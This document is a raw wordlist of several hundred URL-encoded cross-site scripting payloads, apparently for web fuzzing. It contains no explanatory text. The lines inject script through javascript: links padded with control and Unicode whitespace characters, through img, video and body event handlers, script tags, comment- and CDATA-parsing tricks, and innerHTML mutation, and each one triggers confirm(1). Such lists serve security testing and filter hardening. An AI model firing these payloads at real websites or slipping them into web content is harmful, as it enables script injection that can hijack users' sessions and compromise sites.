'%3E%3Ca%20href=%22/xE2/x80/x83javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x04javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x04javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x04javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x01javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x01javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x01javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x08javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x08javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x08javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x84javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x84javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x84javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x86javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x86javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x86javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE3/x80/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE3/x80/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE3/x80/x80javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x12javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x12javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x12javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x0Djavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x0Djavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x0Djavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x0Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x0Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x0Ajavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x0Cjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x0Cjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x0Cjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x15javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x15javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x15javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/xA8javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/xA8javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/xA8javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x16javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x16javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x16javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x02javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x02javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x02javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x1Bjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x1Bjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x1Bjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x06javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x06javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x06javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/xA9javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/xA9javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/xA9javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x80/x85javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x80/x85javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x80/x85javascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x1Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x1Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x1Ejavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/xE2/x81/x9Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/xE2/x81/x9Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/xE2/x81/x9Fjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22/x1Cjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22/x1Cjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22/x1Cjavascript:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javascript/x00:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javascript/x00:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javascript/x00:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javascript/x3A:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javascript/x3A:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javascript/x3A:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javascript/x09:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javascript/x09:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javascript/x09:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javascript/x0D:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javascript/x0D:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javascript/x0D:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%3Ca%20href=%22javascript/x0A:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%22%3E%3Ca%20href=%22javascript/x0A:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
'%3E%3Ca%20href=%22javascript/x0A:javascript:confirm(1)%22%20id=%22fuzzelement1%22%3Etest%3C/a%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x0Aonerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x22onerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x0Bonerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x0Donerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x2Fonerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x09onerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x0Conerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x00onerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x27onerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20/x20onerror=javascript:confirm(1)%3E  
%60%22'%3E%3Cimg%20src=x%20onerror=javascript:confirm(&  
%22%3E%3Cimg%20src=x%20onerror=javascript:confirm(&  
'%3E%3Cimg%20src=x%20onerror=javascript:confirm(&  
%3Cimg%20src=x%20onerror=javascript:confirm(&  
%22%60'%3E%3Cscript%3E/x3Bjavascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/x0Djavascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xEF/xBB/xBFjavascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE2/x80/x81javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE2/x80/x84javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE3/x80/x80javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/x09javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE2/x80/x89javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE2/x80/x85javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE2/x80/x88javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/x00javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE2/x80/xA8javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE2/x80/x8Ajavascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/xE1/x9A/x80javascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/x0Cjavascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/x2Bjavascript:confirm(1)%3C/script%3E   
%22%60'%3E%3Cscript%3E/xE1/xA0/x8Ejavascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/x0Bjavascript:confirm(1)%3C/script%3E  
%22%60'%3E%3Cscript%3E/x20javascript:confirm(1)%3C/script%3E  
%3Cimg/onerror=/x0Bjavascript:confirm(1)/x0Bsrc=xxx:x%20/%3E  
%3Cimg/onerror=/x22javascript:confirm(1)/x22src=xxx:x%20/%3E  
%3Cimg/onerror=/x09javascript:confirm(1)/x09src=xxx:x%20/%3E  
%3Cimg/onerror=/x27javascript:confirm(1)/x27src=xxx:x%20/%3E  
%3Cimg/onerror=/x0Ajavascript:confirm(1)/x0Asrc=xxx:x%20/%3E  
%3Cimg/onerror=/x0Cjavascript:confirm(1)/x0Csrc=xxx:x%20/%3E  
%3Cimg/onerror=/x0Djavascript:confirm(1)/x0Dsrc=xxx:x%20/%3E  
%3Cimg/onerror=/x60javascript:confirm(1)/x60src=xxx:x%20/%3E  
%3Cimg/onerror=/x20javascript:confirm(1)/x20src=xxx:x%20/%3E  
%3Cscript/x2F%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript/x2F%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript/x2F%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript/x20%3Ejavascript:confirm(1)%3C/script%3E  
%3Cscript/x0D%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript/x0D%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript/x0D%3Ejavascript:confirm(1)%3C/script%3E  
%3Cscript/x0A%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript/x0A%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript/x0A%3Ejavascript:confirm(1)%3C/script%3E  
%3Cscript/x0C%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript/x0C%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript/x0C%3Ejavascript:confirm(1)%3C/script%3E  
%3Cscript/x00%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript/x00%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript/x00%3Ejavascript:confirm(1)%3C/script%3E  
%3Cscript/x09%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript/x09%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript/x09%3Ejavascript:confirm(1)%3C/script%3E  
%60%22'%3E%3Cimg%20src=xxx:x%20onerror/x0B=javascript:confirm(1)%3E  
'%3E%3Cimg%20src=  
%3Cvideo%20poster=javascript:javascript:confirm(1)//  
%22%3E%3Cvideo%20poster=javascript:javascript:confirm(1)//  
'%3E%3Cvideo%20poster=javascript:javascript:confirm(1)//  
%3Cbody%20onscroll=javascript:confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
%22%3E%3Cbody%20onscroll=javascript:confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
'%3E%3Cbody%20onscroll=javascript:confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
%3Cform%20id=test%20onforminput=javascript:confirm(1)%3E%3Cinput%3E%3C/form%3E%3Cbutton%20form=test%20onformchange=javascript:confirm(1)%3EX  
%22%3E%3Cform%20id=test%20onforminput=javascript:confirm(1)%3E%3Cinput%3E%3C/form%3E%3Cbutton%20form=test%20onformchange=javascript:confirm(1)%3EX  
'%3E%3Cform%20id=test%20onforminput=javascript:confirm(1)%3E%3Cinput%3E%3C/form%3E%3Cbutton%20form=test%20onformchange=javascript:confirm(1)%3EX  
%3Cvideo%3E%3Csource%20onerror=%22javascript:javascript:confirm(1)%22%3E  
%22%3E%3Cvideo%3E%3Csource%20onerror=%22javascript:javascript:confirm(1)%22%3E  
'%3E%3Cvideo%3E%3Csource%20onerror=%22javascript:javascript:confirm(1)%22%3E  
%3Cvideo%20onerror=%22javascript:javascript:confirm(1)%22%3E%3Csource%3E  
%22%3E%3Cvideo%20onerror=%22javascript:javascript:confirm(1)%22%3E%3Csource%3E  
'%3E%3Cvideo%20onerror=%22javascript:javascript:confirm(1)%22%3E%3Csource%3E  
%3Cform%3E%3Cbutton%20formaction=%22javascript:javascript:confirm(1)%22%3EX  
%22%3E%3Cform%3E%3Cbutton%20formaction=%22javascript:javascript:confirm(1)%22%3EX  
'%3E%3Cform%3E%3Cbutton%20formaction=%22javascript:javascript:confirm(1)%22%3EX  
%3Cbody%20oninput=javascript:confirm(1)%3E%3Cinput%20autofocus%3E  
%22%3E%3Cbody%20oninput=javascript:confirm(1)%3E%3Cinput%20autofocus%3E  
'%3E%3Cbody%20oninput=javascript:confirm(1)%3E%3Cinput%20autofocus%3E  
%3Cmath%20href=%22javascript:javascript:confirm(1)%22%3ECLICKME%3C/math%3E%20%20%3Cmath%3E%20%3Cmaction%20actiontype=%22statusline  
%22%3E%3Cmath%20href=%22javascript:javascript:confirm(1)%22%3ECLICKME%3C/math%3E%20%20%3Cmath%3E%20%3Cmaction%20actiontype=%22statusline  
'%3E%3Cmath%20href=%22javascript:javascript:confirm(1)%22%3ECLICKME%3C/math%3E%20%20%3Cmath%3E%20%3Cmaction%20actiontype=%22statusline  
%3Cframeset%20onload=javascript:confirm(1)%3E  
%22%3E%3Cframeset%20onload=javascript:confirm(1)%3E  
'%3E%3Cframeset%20onload=javascript:confirm(1)%3E  
%3Ctable%20background=%22javascript:javascript:confirm(1)%22%3E  
%22%3E%3Ctable%20background=%22javascript:javascript:confirm(1)%22%3E  
'%3E%3Ctable%20background=%22javascript:javascript:confirm(1)%22%3E  
%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
%22%3E%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
'%3E%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=javascript:confirm(1))//%22%3E  
%22%3E%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=javascript:confirm(1))//%22%3E  
'%3E%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=javascript:confirm(1))//%22%3E  
%3C![%3E%3Cimg%20src=%22]%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
%22%3E%3C![%3E%3Cimg%20src=%22]%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
'%3E%3C![%3E%3Cimg%20src=%22]%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
%3Cstyle%3E%3Cimg%20src=%22%3C/style%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
%22%3E%3Cstyle%3E%3Cimg%20src=%22%3C/style%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
'%3E%3Cstyle%3E%3Cimg%20src=%22%3C/style%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//%22%3E  
%3Cli%20style=list-style:url()%20onerror=javascript:confirm(1)%3E%20%3Cdiv%20sty
%22%3E%3Cli%20style=list-style:url()%20onerror=javascript:confirm(1)%3E%20%3Cdiv%20sty
'%3E%3Cli%20style=list-style:url()%20onerror=javascript:confirm(1)%3E%20%3Cdiv%20sty
%3Chead%3E%3Cbase%20href=%22javascript://%22%3E%3C/head%3E%3Cbody%3E%3Ca%20href=%22/.%20/,javascript:confirm(1)//  
%22%3E%3Chead%3E%3Cbase%20href=%22javascript://%22%3E%3C/head%3E%3Cbody%3E%3Ca%20href=%22/.%20/,javascript:confirm(1)//  
'%3E%3Chead%3E%3Cbase%20href=%22javascript://%22%3E%3C/head%3E%3Cbody%3E%3Ca%20href=%22/.%20/,javascript:confirm(1)//  
%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Ejavascript:confirm(1)%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Ejavascript:confirm(1)%3C/SCRIPT%3E  
'%3E%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Ejavascript:confirm(1)%3C/SCRIPT%3E  
%3Cb%20%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E0  
%3Cdiv%20id=%22div1%22%3E%3Cinput%20value=%22%60%60onmouseover=javascript:confirm(1)%22%3E%3C/div%3E%20%3Cdiv%20id=%22div2%22%3E%3C/div%3E%3Cscript%3Edocument.getElementById(%22div2%22).innerHTML%20=%20document.getElementById(%22div1%22).innerHTML;%3C/script%3E  
%22%3E%3Cdiv%20id=%22div1%22%3E%3Cinput%20value=%22%60%60onmouseover=javascript:confirm(1)%22%3E%3C/div%3E%20%3Cdiv%20id=%22div2%22%3E%3C/div%3E%3Cscript%3Edocument.getElementById(%22div2%22).innerHTML%20=%20document.getElementById(%22div1%22).innerHTML;%3C/script%3E  
'%3E%3Cdiv%20id=%22div1%22%3E%3Cinput%20value=%22%60%60onmouseover=javascript:confirm(1)%22%3E%3C/div%3E%20%3Cdiv%20id=%22div2%22%3E%3C/div%3E%3Cscript%3Edocument.getElementById(%22div2%22).innerHTML%20=%20document.getElementById(%22div1%22).innerHTML;%3C/script%3E  
%3Cx%20'=%22foo%22%3E%3Cx%20foo='%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//'%3E  
%22%3E%3Cx%20'=%22foo%22%3E%3Cx%20foo='%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//'%3E  
'%3E%3Cx%20'=%22foo%22%3E%3Cx%20foo='%3E%3Cimg%20src=x%20onerror=javascript:confirm(1)//'%3E  
%3Cembed%20src=%22javascript:confirm(1)%22%3E  
%22%3E%3Cembed%20src=%22javascript:confirm(1)%22%3E  
'%3E%3Cembed%20src=%22javascript:confirm(1)%22%3E  
%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=javascript:confirm(1)%3Ex  
%22%3E%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=javascript:confirm(1)%3Ex  
'%3E%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=javascript:confirm(1)%3Ex  
%3C?%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E%22%3E  
%22%3E%3C?%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3C?%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%3C!%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3C!%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3C!%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%3C/%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3C/%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3C/%20foo=%22%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%3C?%20foo=%22%3E%3Cx%20foo='?%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E'%3E%22%3E  
%22%3E%3C?%20foo=%22%3E%3Cx%20foo='?%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3C?%20foo=%22%3E%3Cx%20foo='?%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%3C!%20foo=%22[[[Inception]]%22%3E%3Cx%20foo=%22]foo%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%22%3E%3C!%20foo=%22[[[Inception]]%22%3E%3Cx%20foo=%22]foo%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%3E%3C!%20foo=%22[[[Inception]]%22%3E%3Cx%20foo=%22]foo%3E%3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
%3Cdiv%20id=d%3E%3Cx%20xmlns=%22%3E%3Ciframe%20onload=javascript:confirm(1)%22%3E%3C/div%3E%20%3Cscript%3Ed.innerHTML=d.innerHTML%3C/script%3E  
%22%3E%3Cdiv%20id=d%3E%3Cx%20xmlns=%22%3E%3Ciframe%20onload=javascript:confirm(1)%22%3E%3C/div%3E%20%3Cscript%3Ed.innerHTML=d.innerHTML%3C/script%3E  
'%3E%3Cdiv%20id=d%3E%3Cx%20xmlns=%22%3E%3Ciframe%20onload=javascript:confirm(1)%22%3E%3C/div%3E%20%3Cscript%3Ed.innerHTML=d.innerHTML%3C/script%3E  
%3Cimg%20/x00src=x%20onerror=%22confirm(1)%22%3E  
%22%3E%3Cimg%20/x00src=x%20onerror=%22confirm(1)%22%3E  
'%3E%3Cimg%20/x00src=x%20onerror=%22confirm(1)%22%3E  
%3Cimg%20/x47src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20/x47src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20/x47src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20/x11src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20/x11src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20/x11src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg%20/x12src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg%20/x12src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg%20/x12src=x%20onerror=%22javascript:confirm(1)%22%3E  
%3Cimg/x47src=x%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimg/x47src=x%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cimg/x47src=x%20onerror=%22javascript:confirm(1)%22%3E  
